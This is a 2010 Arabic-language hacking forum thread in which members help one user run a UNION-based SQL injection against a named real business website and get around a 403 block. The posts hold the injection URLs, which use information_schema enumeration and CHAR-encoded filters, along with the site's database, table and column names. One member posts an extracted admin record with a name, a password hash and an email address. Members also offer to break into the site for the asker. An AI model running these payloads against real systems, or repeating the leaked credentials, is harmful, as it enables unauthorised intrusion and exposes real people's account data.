help plz forbiden 403

biloo · 08-04-2010, 01:51 PM

http://www.site.com/main/shopping.php?id=-155 /**/UNION/**/ SELECT 1,group_concat(table_name,0x3a,column_name,0x3a, table_schema),3,4,5,6,7,8,9,10,11,12,13,14,15,16,1 7,18,19,20,21,22,23,24,25,26+from+information_sche ma.columns+ where+column_name+LIKE+CHAR(37, 112, 97, 115, 37)--

مششكلة مع الفوربدن ارجو مساعدة بلييز:cry[1]:

dragon47 · 08-04-2010, 01:55 PM

اخي ممكن رابط الموقع الاصلي وانا رح اخترقه لك

biloo · 08-04-2010, 02:51 PM

http://www.armorysquareofsyracuse.co...ng.php?id=-155 /**/UNION/**/ SELECT 1,group_concat(table_name,0x3a,column_name,0x3a, table_schema),3,4,5,6,7,8,9,10,11,12,13,14,15,16,1 7,18,19,20,21,22,23,24,25,26+from+information_sche ma.columns+ where+column_name+LIKE+CHAR(37, 112, 97, 115, 37)--

dragon47 تفضل الموقع الاصلي

ad me plz : biloo911@hotmail.com

Q2-FOX2R · 08-05-2010, 08:38 PM

اممم
أعتقد الموقع أصلا ما عليه ثغرة حقن

لو دخلت هون http://www.site.com/main/shopping.php?id=155
رح يديك محتى الضفحة الي هو No input file specified.

و لو ضفت علامة '
رح يديك نفس الشئ

الشبح المرح · 08-05-2010, 10:00 PM

يايونس الموقع هو ذا http://www.armorysquareofsyracuse.co...ing.php?id=155

دقيقة اكمل الحقنة و ارجع

الشبح المرح · 08-05-2010, 10:05 PM

اخوي على ما اضن ان information_schema لاتعمل

لاني جربت ابحث عن اي جدول و لا يوجد

و الله اعلم

Q2-FOX2R · 08-06-2010, 02:48 PM

هآ اممم طلعت انا البليد فيكم هههه
طيب
خود حبيبي

authentication:user_pass:armorysquare
hc_admin:Passwrd:armorysquare

armorysquare هدا هي القاعدة
authentication جدول عليه كلمة باص
hc_admin و دة ثاني على نفس القاعدة يحمل كلمة باص

و هده هي كل عواميد الجودل بتاع الأدمن بعبارة أخرى دهhc_admin

PkID
FirstName
LastName
Email
Passwrd
IsActive
LoginCnt
LastLogin
SuperAdmin
ShowInstructions
PCKey

و في الأخير هدي هي الحقنة الأخيرة لأستخرآج الباسوورد و اليوزر و كمان الاميل هههه

تفضل
http://www.armorysquareofsyracuse.co...rom+hc_admin--

امممم
Robert:0536015e570c6bc145aa54a49f99f000:rob@lerent ech.com

الباسوورد مشفر
0536015e570c6bc145aa54a49f99f000

بعد كل ده
ما أبيك غير أنك تقيمني لو أفدتك
اخوك في الله يونس

biloo · 08-06-2010, 05:27 PM

با رك الله فيك يا اخ سنتواصل عبر الامايل ان شاء الله

biloo · 08-06-2010, 05:48 PM

ممكن كيف تخطيت الفوربيدن في

http://www.armorysquareofsyracuse.co...ng.php?id=-155 /**/UNION/**/ SELECT 1,group_concat(table_name,0x3a,column_name,0x3a, table_schema),3,4,5,6,7,8,9,10,11,12,13,14,15,16,1 7,18,19,20,21,22,23,24,25,26+from+information_sche ma.columns+ where+column_name+LIKE+CHAR(37, 112, 97, 115, 37)--

للحصول على

authentication:user_pass:armorysquare
hc_admin:Passwrd:armorysquare

وشكرا اخي

Q2-FOX2R · 08-06-2010, 06:47 PM

http://www.armorysquareofsyracuse.co...115,%2037%29--

شوف الحقنة دي تفهم بادن الله

المواضيع المتشابهه
الموضوع	كاتب الموضوع	المنتدى	مشاركات	آخر مشاركة
تخطي الـ ForBidEn ...> لاحرمتم الاجر ..	عجوز التماسيح	جـــ'ابات العناكــ'ب	1	07-10-2009 04:23 PM